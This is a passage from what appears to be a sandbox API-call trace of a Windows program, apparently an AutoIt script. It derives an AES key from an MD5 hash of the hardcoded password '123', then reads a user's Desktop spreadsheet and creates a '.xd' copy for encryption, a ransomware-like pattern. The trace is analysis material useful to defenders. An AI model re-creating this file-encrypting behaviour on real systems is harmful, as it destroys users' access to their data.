lpMsg=0x130ecb4) returned 0 [0074.581] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.581] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.582] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.582] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.582] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.582] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.583] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.583] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0074.583] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.584] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.584] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.584] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.584] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.584] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.585] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.585] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.585] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.585] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.585] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.585] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.585] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.585] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.586] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.586] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.586] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.587] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.587] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.587] CryptHashData (hHash=0x164c4f0, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.588] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.588] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.588] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.588] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.588] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.588] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.588] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0074.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.590] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.590] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.590] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.590] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.590] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0074.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.592] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bgtkzte.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.592] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.592] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.593] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.593] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bgtkzte.ods.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.597] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.597] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0074.599] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xd6b, lpOverlapped=0x0) returned 1 [0074.600] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.605] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.605] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.605] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.605] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.606] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.606] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.606] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.606] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.606] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.607] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.607] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.607] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.607] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.607] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.607] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.607] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.607] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.607] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.607] 